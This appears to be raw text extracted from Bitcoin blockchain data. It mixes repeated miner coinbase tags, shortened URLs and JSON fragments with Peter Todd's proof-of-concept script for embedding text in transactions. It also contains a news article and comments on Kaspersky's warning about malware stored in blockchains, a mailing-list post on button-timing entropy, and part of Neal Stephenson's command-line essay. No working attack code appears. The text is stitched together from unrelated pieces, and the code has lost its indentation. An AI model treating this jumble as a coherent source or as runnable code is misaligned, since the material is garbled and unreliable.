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ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj5/
u=http://goo.gl/RjLvhr
u=http://goo.gl/y7HIFG
Mined by f2poolscant
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
#!/usr/bin/env python3
#
# Copyright (C) 2015 Peter Todd
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
# WARNING: Do not run this on a wallet with a non-trivial amount of BTC. This
# utility has had very little testing and is being published as a
# proof-of-concept only.
# Requires python-bitcoinlib w/ sendmany support:
#
# https://github.com/petertodd/python-bitcoinlib/commit/6a0a2b9429edea318bea7b65a68a950cae536790
import sys
if sys.version_info.major < 3:
sys.stderr.write('Sorry, Python 3.x required by this example.\n')
sys.exit(1)
import argparse
import hashlib
import logging
import sys
import os
import bitcoin.rpc
from bitcoin.core import *
from bitcoin.core.script import *
from bitcoin.wallet import *
parser = argparse.ArgumentParser(
description="Publish text in the blockchain, suitably padded for easy recovery with strings",
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-n', action='store_true',
dest='dryrun',
help="Dry-run; don't actually send the transactions")
parser.add_argument("-q","--quiet",action="count",default=0,
help="Be more quiet.")
parser.add_argument("-v","--verbose",action="count",default=0,
help="Be more verbose. Both -v and -q may be used multiple times.")
parser.add_argument("--min-len",action="store",type=int,default=20,
help="Minimum text length; shorter text is padded to this length")
parser.add_argument("-f","--fee-per-kb",action="store",type=float,default=0.0002,
help="Fee-per-KB")
parser.add_argument("-k","--privkey",action="store",type=str,default=None,
help="Specify private key")
net_parser = parser.add_mutually_exclusive_group()
net_parser.add_argument('-t','--testnet', action='store_true',
dest='testnet',
help='Use testnet')
net_parser.add_argument('-r','--regtest', action='store_true',
dest='regtest',
help='Use regtest')
parser.add_argument('fd', type=argparse.FileType('rb'), metavar='FILE',
help='Text file')
args = parser.parse_args()
# Setup logging
args.verbosity = args.verbose - args.quiet
if args.verbosity == 0:
logging.root.setLevel(logging.INFO)
elif args.verbosity >= 1:
logging.root.setLevel(logging.DEBUG)
elif args.verbosity == -1:
logging.root.setLevel(logging.WARNING)
elif args.verbosity <= -2:
logging.root.setLevel(logging.ERROR)
if args.testnet:
bitcoin.SelectParams('testnet')
elif args.regtest:
bitcoin.SelectParams('regtest')
proxy = bitcoin.rpc.Proxy()
if args.privkey is None:
args.privkey = CBitcoinSecret.from_secret_bytes(os.urandom(32))
else:
args.privkey = CBitcoinSecret(args.privkey)
logging.info('Using keypair %s %s' % (b2x(args.privkey.pub), args.privkey))
# Turn the text file into padded lines
if args.fd is sys.stdin:
# work around a bug where even though we specified binary encoding we get
# the sys.stdin instead.
args.fd = sys.stdin.buffer
padded_lines = [b'\x00' + line.rstrip().ljust(args.min_len) + b'\x00' for line in args.fd.readlines()]
scripts = []
while padded_lines:
def make_scripts(lines, n):
# The n makes sure every p2sh addr is unique; the pubkey lets us
# control the order the vin order vs. just using hashlocks.
redeemScript = []
for chunk in reversed(lines):
if len(chunk) > MAX_SCRIPT_ELEMENT_SIZE:
parser.exit('Lines must be less than %d characters; got %d characters' %\
(MAX_SCRIPT_ELEMENT_SIZE, len(chunk)))
redeemScript.extend([OP_HASH160, Hash160(chunk), OP_EQUALVERIFY])
redeemScript = CScript(redeemScript +
[args.privkey.pub, OP_CHECKSIGVERIFY,
n, OP_DROP, # deduplicate push dropped to meet BIP62 rules
OP_DEPTH, 0, OP_EQUAL]) # prevent scriptSig malleability
return CScript(lines) + redeemScript, redeemScript
scriptSig = redeemScript = None
for i in range(len(padded_lines)):
next_scriptSig, next_redeemScript = make_scripts(padded_lines[0:i+1], len(scripts))
# FIXME: magic numbers!
if len(next_redeemScript) > 520 or len(next_scriptSig) > 1600-100:
padded_lines = padded_lines[i:]
break
else:
scriptSig = next_scriptSig
redeemScript = next_redeemScript
else:
padded_lines = []
scripts.append((scriptSig, redeemScript))
# pay to the redeemScripts to make them spendable
# the 41 accounts for the size of the CTxIn itself
payments = {P2SHBitcoinAddress.from_redeemScript(redeemScript):int(((len(scriptSig)+41)/1000 * args.fee_per_kb)*COIN)
for scriptSig, redeemScript in scripts}
prevouts_by_scriptPubKey = None
if not args.dryrun:
txid = proxy.sendmany('', payments)
logging.info('Sent pre-pub tx: %s' % b2lx(txid))
tx = proxy.getrawtransaction(txid)
prevouts_by_scriptPubKey = {txout.scriptPubKey:COutPoint(txid, i) for i, txout in enumerate(tx.vout)}
else:
prevouts_by_scriptPubKey = {redeemScript.to_p2sh_scriptPubKey():COutPoint(b'\x00'*32, i)
for i, (scriptSig, redeemScript) in enumerate(scripts)}
logging.debug('Payments: %r' % payments)
logging.info('Total cost: %s BTC' % str_money_value(sum(amount for addr, amount in payments.items())))
# Create unsigned tx for SignatureHash
# By paying this rather than an OP_RETURN the tx shows up on bc.i, convenient
# for determining propagation; inception for the lulz.
#
# FIXME: these 600 satoshi's aren't taken into account above...
vout = [CTxOut(600, CScript().to_p2sh_scriptPubKey().to_p2sh_scriptPubKey())]
#vout = [CTxOut(0, CScript([OP_RETURN]))]
unsigned_vin = []
for scriptSig, redeemScript in scripts:
scriptPubKey = redeemScript.to_p2sh_scriptPubKey()
txin = CTxIn(prevouts_by_scriptPubKey[scriptPubKey])
unsigned_vin.append(txin)
unsigned_tx = CTransaction(unsigned_vin, vout)
# Sign!
signed_vin = []
for i, (scriptSig, redeemScript) in enumerate(scripts):
sighash = SignatureHash(redeemScript, unsigned_tx, i, SIGHASH_NONE)
sig = args.privkey.sign(sighash) + bytes([SIGHASH_NONE])
signed_scriptSig = CScript([sig] + list(scriptSig))
txin = CTxIn(unsigned_vin[i].prevout, signed_scriptSig)
signed_vin.append(txin)
signed_tx = CTransaction(signed_vin, vout)
if args.dryrun:
serialized_tx = signed_tx.serialize()
logging.info('tx size: %d bytes' % len(serialized_tx))
logging.debug('hex: %s' % b2x(serialized_tx))
else:
# FIXME: the tx could be too long here, but there's no way to get sendmany
# to *not* broadcast the transaction first. This is a proof-of-concept, so
# punting.
logging.debug('Sending publish tx, hex: %s' % b2x(signed_tx.serialize()))
txid = proxy.sendrawtransaction(signed_tx)
logging.info('Sent publish tx: %s' % b2lx(txid))
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http://cointelegraph.com/news/113806/warning-kaspersky-alerts-users-of-malware-and-blockchain-abuse
Warning! Kaspersky Alerts Users of Malware and 'Blockchain Abuse'
=================================================================
Kaspersky Labs warns users of a possible exploit in cryptocurrency blockchains
that would allow malicious actors to distribute malware or even images
depicting child abuse.
The warning is the result of research of INTERPOL Cyber threat experts, a group
that includes a Kaspersky employee.
They warn that the extra space provided in each transaction, intended for
notes, messages and as a space to allow additional functions to be built on top
of the blockchain, could in fact be used to spread malicious code or worse.
Kaspersky's report states:
"The design of the blockchain means there is the possibility of malware
being injected and permanently hosted with no methods currently available
to wipe this data. This could affect 'cyber hygiene' as well as the sharing
of child sexual abuse images where the blockchain could become a safe haven
for hosting such data."
The blockchain, as CoinTelegraph readers are assuredly aware, is the virtually
unmodifiable public ledger that acts as the backbone for the Bitcoin network.
Once someone commits data to the blockchain, it is there forever unless more
than 51 % of bitcoin miners decide to mine on a modified blockchain that
doesn't include that data. That would be what is called a "hardfork" and would
be extremely difficult if not impossible to pull off, with the current number
of bitcoin users.
Despite Kaspersky's recent warnings, storing illegal data in a compressed
manner has been a concern for the Bitcoin community for a while. In fact, links
to sites containing child abuse images have already been found in early
blockchain blocks and storing an image in a hashed form has also been
accomplished.
Blockchain transactions don't provide enough room to store illegal images in an
uncompressed form effectively. What INTERPOL and Kaspersky seem to be concerned
about is either compressed, hashed, images on the Bitcoin blockchain or
uncompressed images on alternative coin blockchains that allow for more space.
Encrypted and compressed data needs to be uncompressed and decrypted with an
algorithm. Theoretically, since an algorithm is just a set of rules to
interpret data, any code can be turned into any other kind of code. Even the
words of this text could, in theory, be "decrypted" into an image of the
algorithm creator's choosing. It seems extremely unlikely that Bitcoin users
would be subject to prosecution for possession or distribution of child
pornography, when those images don't "exist" without proper decrypting
software.
A more realistic concern would be a small script embedded into the blockchain
that either forces the download and install of more powerful code or somehow
manages to run a damaging script in the few kilobytes of space provided. It
seems it would be difficult to get those scripts to run without user
interaction. Nevertheless, Kaspersky implies that even our private keys could
be at risk.
"[Blockchain malware] could also enable crime scenarios in the future such
as the deployment of modular malware, a reshaping of the distribution of
zero-day attacks, as well as the creation of illegal underground
marketplaces dealing in private keys which would allow access to this
data."
Kaspersky stressed that they are believers in decentralized technology like the
blockchain, but pointed out that their role is to identify threats before they
become reality. At press time, there is no known instance of users storing and
executing malware through the Bitcoin blockchain; it is just a possibility that
concerns Kaspersky. They do not, at this time, offer any advice on how users
can keep themselves safe. However, leaving updated anti-virus software running
while blockchains are downloading is probably a good move, even though some
software often finds false positives.
Comments
========
Norton identifies every single cryptocurrency wallet as malware and
automatically deletes it. I'm pretty sure about that as I've tried to run
dozens - and not from small alt coins that might be dodgy, from coins with big
market caps, lots of users, and open source code. You have to restore it after
the fact and tell Norton to let it through.
Personally I suspect that this is the part of the industry making excuses
because they know their products can't deal with cryptocurrency software very
well and they would prefer you to think they are protecting you from these
imaginary threats than to think that they just can't be bothered to update the
way they recognise malware so that it doesn't automatically presume all
blockchain technology is bad.
-Dean Scott Walsh
Kaspersky usually makes a lot of sense, and maybe he's been misquoted, but this
articles makes zero sense to me. How does a few bytes per transactions of
irreversible distributed ledger create a virus risk? Huh? You might want to
focus on say web sites, that have active readers (browsers) that run code. Or
phishing mail with attachments, or operating sytems and virus scanning systems
that blacklist and hence fail open; rather than capability based things like
Qubes that whitelist and fail closed. There is no javascript analog in
op_return data, and no user client software interpreting it as code, so the
articles claim doesnt make sense.
-Adam Back
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
> - floating ADC inputs, as Peter suggested;
> - five independent RC oscillators.
I've got another idea that requires no extra hardware. I think has a
solid theoretical basis which I've explored below in sufficient detail
to raise suspicions that I miss my old line of work:
tl;dr: Record the dt time between button clicks, adding dt to the
accumulator each time by hashing it into the persistent state.
Theoretical Basis
=================
We assume that the timing accuracy of a button click has a normal
distribution. That is even a human delibrately trying to maintain a
consistent tempo, dt, between clicks will in fact have a normally
distributed error. Humans can be remarkably accurate when they want to
be, but timing data from studies of drumming
that assuming 1ms jitter in muscle timing accuracy is a very generous.
Assuming that jitter is normally distributed is reasonable.
We can easily measure the time between clicks with a interrupt driven
polling function. You're probably using something like a 12MHz clock for
your uC due to the USB interface. Incrementing a timing counter,
checking the button pin state, and saving that counter if the pin state
has changed should take < 16 cycles or so; triggering the interrupt
every 256 cycles is likely quite reasonable giving us a button sampling
frequency of 12MHz/256 = ~50kHz. The button itself is an RC circuit;
is perfectly reasonable for the circuit on its own,
but let's bump that to C=1nF to account for human body capacitance.
Input low and input high are generally 0.15*VDD and 0.85*VDD
respectively. Thus if we're to *accurately* record the state of the
button on a high->low transition we need to wait:
0.15*VDD = VDD*e^{-dt/RC} -> dt = -RC*ln(0.15) = 4.7
Exactly what this means for your circuit is kinda complex - are inputs
re-synchronized with the usual clock-domain crossing flip-flops? - but
to say it results in a max sampling rate of 100kHz isn't unreasonable;
our 50kHz number above looks fine.
The worst case scenario for RNG generation is when our user is a skilled
drummer listening to machine-made techno music who can't help but do
everything exactly according to the impersonal machine rhythm. Our mean
is that rhythm - likely around 150BPM if they have good taste - and as
per the above data we'll assume one standard deviation,
means that there is a 68% chance that a given sample will be within
1mS; put another way there is a 32% chance that the sample will yield a
random value. Thus hand-wave a bit and say this sample represents 0.32
bits of uncertainty. (in that which *side* of the guassian curve the
sample "landed on" was unknown)
The next bit of our measurement is even better.
standard deviation with a 61.8% chance the sample will yield an unknown
0.25ms 80% etc. Basically the measurement is far more accurate
than the user, so the LSB's of the measurement are random noise. The
proposed 50kHz sampling rate means that we get about four or five bits
of entropy per button press; we certainly get at least one bit.
Why can we trust this source of entropy?
========================================
1) We know exactly what is generating the random noise - the user's
inherent inability to accurately press a button. There are no
conceivable circumstances where that noise source would fail to
exist.
2) The source is very difficult for the attacker to observe. The phase
resolution required to accurately pick up the lowest-order bits of
the button press with, say, a microphone exceeds that available in
standard audio equipment by a good margin even in the worst-case;
better if the sampling rate is increased. The miniscule amount of
charge moved per button press is highly unlikely to be the worst
contributor to a power analysis attacker's success.
3) The electrical design steers well clear of anything that can be
influenced by external noise. The 4.7k
pull-up makes the switch
essentially immune to external noise; if noise is influencing the RNG
the device obviously fails anyway. The switch is immune to anything
short of high vibration, whose exact phase would be certainly unknown
to the attacker anyway.
4) The firmware design is simple and requires nothing more than a
free-running counter.
5) Testing the design is easy. Just record dt for many button presses in
a row and plot the ratio of 1:0 for each bit, MSB to LSB. If the RNG
source is working the LSB's will tend towards 0.5
User Experience
===============
"Every time you press the new key button, an adorable kitten working for
the NSA sheds a single tear. We recommend you make that kitten shed at
least 32 tears, 128 if you're feeling paranoid."
References
==========
1) http://musicmachinery.com/2009/03/02/in-search-of-the-click-track/
2) http://brettworks.com/2011/04/26/on-musical-time-and-drummers-brains/
3) http://www.ncbi.nlm.nih.gov/pubmed/10610752
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Mined by AntPool bj5/
Mined by AntPool sc1
Mined by AntPool sc0
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Mined by hnucpcoolcs02
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GB2APDK Ninjas team 4ever.
h-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by AntPool sc0
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Mined by AntPool usa09
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Mined by goldwiser4653
Mined by AntPool bj0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
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Mined by yu133511711
Mined by AntPool sc0
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Mined by AntPool bj69
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Mined by niuniudongdong
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Mined by AntPool sc12
Mined by AntPool bj69
What is the Banking? Control.
Mined by AntPool sc12
Mined by AntPool sc12
Mined by AntPool sc12
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Mined by AntPool sc0
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Mined by AntPool usa1%
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Mined by f2poolscant
Mined by AntPool bj69
Follow the white rabbit.
Mined by AntPool bj69
Mined by AntPool bj2/
Welcome to the real world.
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Mined by f2poolhaobtc
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ASCRIBESPOOLREGISTER
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Mined by AntPool bj0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
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u=https://cpr.sm/G1tq_7HBK4H
Mined by liusheng121
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
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! ://ppkpub.org/AP/"],"title":"
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
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Mined by hnucpcoolcs02
Time is always against us.
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Mined by AntPool bj2/
Mined by AntPool bj78
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Follow the white rabbit.
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>{"ap_list":["http://ppkpub.oR
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f! PPK-BETAPeer-Peer-network publicR
f! U351463.1110 R
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Mined by AntPool bj69
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! P2P is future! ppkpub.org->ppk:0R
>{"ap_list":["http://ppkpub.oR
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Follow the white rabbit.
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D{"ap_list":["http://ppkpub.oR
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megabigpower.comU*$K
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! P2P is future! ppkpub.org->ppk:0R
@{"ap_list":["http://ppkpub.oR
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Mined by f2poolhaobtc
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magch:FMKA7EYOQ5ZZTQAM7YCNLG6CLKGESVCV
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f! P2P is future! ppkpub.org->ppk:0R
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f! P2P is future! ppkpub.org->ppk:0R
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f! P2P is future! ppkpub.org->ppk:0R
@{"ap_list":["http://ppkpub.oR
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In the Beginning was the Command Line - Part 1/6
by Neal Stephenson
About twenty years ago Jobs and Wozniak, the founders of Apple, came up
with the very strange idea of selling information processing machines
for use in the home. The business took off, and its founders made a
lot of money and received the credit they deserved for being daring
visionaries. But around the same time, Bill Gates and Paul Allen came
up with an idea even stranger and more fantastical: selling computer
operating systems. This was much weirder than the idea of Jobs and
Wozniak. A computer at least had some sort of physical reality to it. It
came in a box, you could open it up and plug it in and watch lights
blink. An operating system had no tangible incarnation at all. It arrived
on a disk, of course, but the disk was, in effect, nothing more than the
box that the OS came in. The product itself was a very long string of
ones and zeroes that, when properly installed and coddled, gave you the
ability to manipulate other very long strings of ones and zeroes. Even
those few who actually understood what a computer operating system was
were apt to think of it as a fantastically arcane engineering prodigy,
like a breeder reactor or a U-2 spy plane, and not something that could
ever be (in the parlance of high-tech) "productized."
Yet now the company that Gates and Allen founded is selling operating
systems like Gillette sells razor blades. New releases of operating
systems are launched as if they were Hollywood blockbusters, with
celebrity endorsements, talk show appearances, and world tours. The
market for them is vast enough that people worry about whether it has been
monopolized by one company. Even the least technically-minded people in
our society now have at least a hazy idea of what operating systems do;
what is more, they have strong opinions about their relative merits. It is
commonly understood, even by technically unsophisticated computer users,
that if you have a piece of software that works on your Macintosh, and you
move it over onto a Windows machine, it will not run. That this would,
in fact, be a laughable and idiotic mistake, like nailing horseshoes to
the tires of a Buick.
A person who went into a coma before Microsoft was founded, and woke up
now, could pick up this morning's New York Times and understand everything
in it--almost:
Item: the richest man in the world made his fortune
from-what? Railways? Shipping? Oil? No, operating systems. Item: the
Department of Justice is tackling Microsoft's supposed OS monopoly with
legal tools that were invented to restrain the power of Nineteenth-Century
robber barons. Item: a woman friend of mine recently told me that she'd
broken off a (hitherto) stimulating exchange of e-mail with a young
man. At first he had seemed like such an intelligent and interesting guy,
she said, but then "he started going all PC-versus-Mac on me."
What the hell is going on here? And does the operating system business
have a future, or only a past? Here is my view, which is entirely
subjective; but since I have spent a fair amount of time not only using,
but programming, Macintoshes, Windows machines, Linux boxes and the BeOS,
perhaps it is not so ill-informed as to be completely worthless. This
is a subjective essay, more review than research paper, and so it might
seem unfair or biased compared to the technical reviews you can find
in PC magazines. But ever since the Mac came out, our operating systems
have been based on metaphors, and anything with metaphors in it is fair
game as far as I'm concerned.
MGBs, TANKS, AND BATMOBILES
Around the time that Jobs, Wozniak, Gates, and Allen were dreaming up
these unlikely schemes, I was a teenager living in Ames, Iowa. One
of my friends' dads had an old MGB sports car rusting away in his
garage. Sometimes he would actually manage to get it running and then
he would take us for a spin around the block, with a memorable look
of wild youthful exhiliration on his face; to his worried passengers,
he was a madman, stalling and backfiring around Ames, Iowa and eating
the dust of rusty Gremlins and Pintos, but in his own mind he was Dustin
Hoffman tooling across the Bay Bridge with the wind in his hair.
In retrospect, this was telling me two things about people's relationship
to technology. One was that romance and image go a long way towards
shaping their opinions. If you doubt it (and if you have a lot of spare
time on your hands) just ask anyone who owns a Macintosh and who, on
those grounds, imagines him- or herself to be a member of an oppressed
minority group.
The other, somewhat subtler point, was that interface is very
important. Sure, the MGB was a lousy car in almost every way that
counted: balky, unreliable, underpowered. But it was fun to drive. It
was responsive. Every pebble on the road was felt in the bones, every
nuance in the pavement transmitted instantly to the driver's hands. He
could listen to the engine and tell what was wrong with it. The steering
responded immediately to commands from his hands. To us passengers it was
a pointless exercise in going nowhere--about as interesting as peering
over someone's shoulder while he punches numbers into a spreadsheet. But
to the driver it was an experience. For a short time he was extending
his body and his senses into a larger realm, and doing things that he
couldn't do unassisted.
The analogy between cars and operating systems is not half bad, and so
let me run with it for a moment, as a way of giving an executive summary
of our situation today.
Imagine a crossroads where four competing auto dealerships are
situated. One of them (Microsoft) is much, much bigger than the others. It
started out years ago selling three-speed bicycles (MS-DOS); these were
not perfect, but they worked, and when they broke you could easily fix
them.
There was a competing bicycle dealership next door (Apple) that one day
began selling motorized vehicles--expensive but attractively styled
cars with their innards hermetically sealed, so that how they worked
was something of a mystery.
The big dealership responded by rushing a moped upgrade kit (the original
Windows) onto the market. This was a Rube Goldberg contraption that, when
bolted onto a three-speed bicycle, enabled it to keep up, just barely,
with Apple-cars. The users had to wear goggles and were always picking
bugs out of their teeth while Apple owners sped along in hermetically
sealed comfort, sneering out the windows. But the Micro-mopeds were
cheap, and easy to fix compared with the Apple-cars, and their market
share waxed.
Eventually the big dealership came out with a full-fledged car: a colossal
station wagon (Windows 95). It had all the aesthetic appeal of a Soviet
worker housing block, it leaked oil and blew gaskets, and it was an
enormous success. A little later, they also came out with a hulking
off-road vehicle intended for industrial users (Windows NT) which was no
more beautiful than the station wagon, and only a little more reliable.
Since then there has been a lot of noise and shouting, but little has
changed. The smaller dealership continues to sell sleek Euro-styled
sedans and to spend a lot of money on advertising campaigns. They have
had GOING OUT OF BUSINESS! signs taped up in their windows for so long
that they have gotten all yellow and curly. The big one keeps making
bigger and bigger station wagons and ORVs.
On the other side of the road are two competitors that have come along
more recently.
One of them (Be, Inc.) is selling fully operational Batmobiles (the
BeOS). They are more beautiful and stylish even than the Euro-sedans,
better designed, more technologically advanced, and at least as reliable
as anything else on the market--and yet cheaper than the others.
With one exception, that is: Linux, which is right next door, and
which is not a business at all. It's a bunch of RVs, yurts, tepees, and
geodesic domes set up in a field and organized by consensus. The people
who live there are making tanks. These are not old-fashioned, cast-iron
Soviet tanks; these are more like the M1 tanks of the U.S. Army, made
of space-age materials and jammed with sophisticated technology from
one end to the other. But they are better than Army tanks. They've been
modified in such a way that they never, ever break down, are light and
maneuverable enough to use on ordinary streets, and use no more fuel
than a subcompact car. These tanks are being cranked out, on the spot,
at a terrific pace, and a vast number of them are lined up along the
edge of the road with keys in the ignition. Anyone who wants can simply
climb into one and drive it away for free.
Customers come to this crossroads in throngs, day and night. Ninety
percent of them go straight to the biggest dealership and buy station
wagons or off-road vehicles. They do not even look at the other
dealerships.
Of the remaining ten percent, most go and buy a sleek Euro-sedan,
pausing only to turn up their noses at the philistines going to buy the
station wagons and ORVs. If they even notice the people on the opposite
side of the road, selling the cheaper, technically superior vehicles,
these customers deride them cranks and half-wits.
The Batmobile outlet sells a few vehicles to the occasional car nut who
wants a second vehicle to go with his station wagon, but seems to accept,
at least for now, that it's a fringe player.
The group giving away the free tanks only stays alive because it is
staffed by volunteers, who are lined up at the edge of the street
with bullhorns, trying to draw customers' attention to this incredible
situation. A typical conversation goes something like this:
Hacker with bullhorn: "Save your money! Accept one of our free tanks! It
is invulnerable, and can drive across rocks and swamps at ninety miles
an hour while getting a hundred miles to the gallon!"
Prospective station wagon buyer: "I know what you say is
true...but...er...I don't know how to maintain a tank!"
Bullhorn: "You don't know how to maintain a station wagon either!"
Buyer: "But this dealership has mechanics on staff. If something goes
wrong with my station wagon, I can take a day off work, bring it here,
and pay them to work on it while I sit in the waiting room for hours,
listening to elevator music."
Bullhorn: "But if you accept one of our free tanks we will send volunteers
to your house to fix it for free while you sleep!"
Buyer: "Stay away from my house, you freak!"
Bullhorn: "But..."
Buyer: "Can't you see that everyone is buying station wagons?"
BIT-FLINGER
The connection between cars, and ways of interacting with computers,
wouldn't have occurred to me at the time I was being taken for rides
in that MGB. I had signed up to take a computer programming class at
Ames High School. After a few introductory lectures, we students were
granted admission into a tiny room containing a teletype, a telephone,
and an old-fashioned modem consisting of a metal box with a pair of
rubber cups on the top (note: many readers, making their way through
that last sentence, probably felt an initial pang of dread that this
essay was about to turn into a tedious, codgerly reminiscence about how
tough we had it back in the old days; rest assured that I am actually
positioning my pieces on the chessboard, as it were, in preparation to
make a point about truly hip and up-to-the minute topics like Open Source
Software). The teletype was exactly the same sort of machine that had
been used, for decades, to send and receive telegrams. It was basically
a loud typewriter that could only produce UPPERCASE LETTERS. Mounted to
one side of it was a smaller machine with a long reel of paper tape on
it, and a clear plastic hopper underneath.
In order to connect this device (which was not a computer at all) to
the Iowa State University mainframe across town, you would pick up the
phone, dial the computer's number, listen for strange noises, and then
slam the handset down into the rubber cups. If your aim was true, one
would wrap its neoprene lips around the earpiece and the other around
the mouthpiece, consummating a kind of informational soixante-neuf.
The teletype would shudder as it was possessed by the spirit of the
distant mainframe, and begin to hammer out cryptic messages.
Since computer time was a scarce resource, we used a sort of batch
processing technique. Before dialing the phone, we would turn on the
tape puncher (a subsidiary machine bolted to the side of the teletype)
and type in our programs. Each time we depressed a key, the teletype
would bash out a letter on the paper in front of us, so we could read
what we'd typed; but at the same time it would convert the letter
into a set of eight binary digits, or bits, and punch a corresponding
pattern of holes across the width of a paper tape. The tiny disks of
paper knocked out of the tape would flutter down into the clear plastic
hopper, which would slowly fill up what can only be described as actual
bits. On the last day of the school year, the smartest kid in the class
(not me) jumped out from behind his desk and flung several quarts of
these bits over the head of our teacher, like confetti, as a sort of
semi-affectionate practical joke. The image of this man sitting there,
gripped in the opening stages of an atavistic fight-or-flight reaction,
with millions of bits (megabytes) sifting down out of his hair and into
his nostrils and mouth, his face gradually turning purple as he built
up to an explosion, is the single most memorable scene from my formal
education.
Anyway, it will have been obvious that my interaction with the computer
was of an extremely formal nature, being sharply divided up into different
phases, viz.: (1) sitting at home with paper and pencil, miles and miles
from any computer, I would think very, very hard about what I wanted the
computer to do, and translate my intentions into a computer language--a
series of alphanumeric symbols on a page. (2) I would carry this across
a sort of informational cordon sanitaire (three miles of snowdrifts)
to school and type those letters into a machine--not a computer--which
would convert the symbols into binary numbers and record them visibly
on a tape. (3) Then, through the rubber-cup modem, I would cause those
numbers to be sent to the university mainframe, which would (4) do
arithmetic on them and send different numbers back to the teletype. (5)
The teletype would convert these numbers back into letters and hammer
them out on a page and (6) I, watching, would construe the letters as
meaningful symbols.
The division of responsibilities implied by all of this is admirably
clean: computers do arithmetic on bits of information. Humans construe the
bits as meaningful symbols. But this distinction is now being blurred, or
at least complicated, by the advent of modern operating systems that use,
and frequently abuse, the power of metaphor to make computers accessible
to a larger audience. Along the way--possibly because of those metaphors,
which make an operating system a sort of work of art--people start to
get emotional, and grow attached to pieces of software in the way that
my friend's dad did to his MGB.
People who have only interacted with computers through graphical user
interfaces like the MacOS or Windows--which is to say, almost everyone who
has ever used a computer--may have been startled, or at least bemused,
to hear about the telegraph machine that I used to communicate with
a computer in 1973. But there was, and is, a good reason for using
this particular kind of technology. Human beings have various ways
of communicating to each other, such as music, art, dance, and facial
expressions, but some of these are more amenable than others to being
expressed as strings of symbols. Written language is the easiest of all,
because, of course, it consists of strings of symbols to begin with. If
the symbols happen to belong to a phonetic alphabet (as opposed to,
say, ideograms), converting them into bits is a trivial procedure, and
one that was nailed, technologically, in the early nineteenth century,
with the introduction of Morse code and other forms of telegraphy.
We had a human/computer interface a hundred years before we had
computers. When computers came into being around the time of the Second
World War, humans, quite naturally, communicated with them by simply
grafting them on to the already-existing technologies for translating
letters into bits and vice versa: teletypes and punch card machines.
These embodied two fundamentally different approaches to computing. When
you were using cards, you'd punch a whole stack of them and run them
through the reader all at once, which was called batch processing. You
could also do batch processing with a teletype, as I have already
described, by using the paper tape reader, and we were certainly
encouraged to use this approach when I was in high school. But--though
efforts were made to keep us unaware of this--the teletype could do
something that the card reader could not. On the teletype, once the modem
link was established, you could just type in a line and hit the return
key. The teletype would send that line to the computer, which might or
might not respond with some lines of its own, which the teletype would
hammer out--producing, over time, a transcript of your exchange with the
machine. This way of doing it did not even have a name at the time, but
when, much later, an alternative became available, it was retroactively
dubbed the Command Line Interface.
When I moved on to college, I did my computing in large, stifling
rooms where scores of students would sit in front of slightly updated
versions of the same machines and write computer programs: these used
dot-matrix printing mechanisms, but were (from the computer's point
of view) identical to the old teletypes. By that point, computers were
better at time-sharing--that is, mainframes were still mainframes, but
they were better at communicating with a large number of terminals
at once. Consequently, it was no longer necessary to use batch
processing. Card readers were shoved out into hallways and boiler rooms,
and batch processing became a nerds-only kind of thing, and consequently
took on a certain eldritch flavor among those of us who even knew it
existed. We were all off the Batch, and on the Command Line, interface
now--my very first shift in operating system paradigms, if only I'd
known it.
A huge stack of accordion-fold paper sat on the floor underneath each one
of these glorified teletypes, and miles of paper shuddered through their
platens. Almost all of this paper was thrown away or recycled without
ever having been touched by ink--an ecological atrocity so glaring
that those machines soon replaced by video terminals--so-called "glass
teletypes"--which were quieter and didn't waste paper. Again, though, from
the computer's point of view these were indistinguishable from World War
II-era teletype machines. In effect we still used Victorian technology
to communicate with computers until about 1984, when the Macintosh
was introduced with its Graphical User Interface. Even after that,
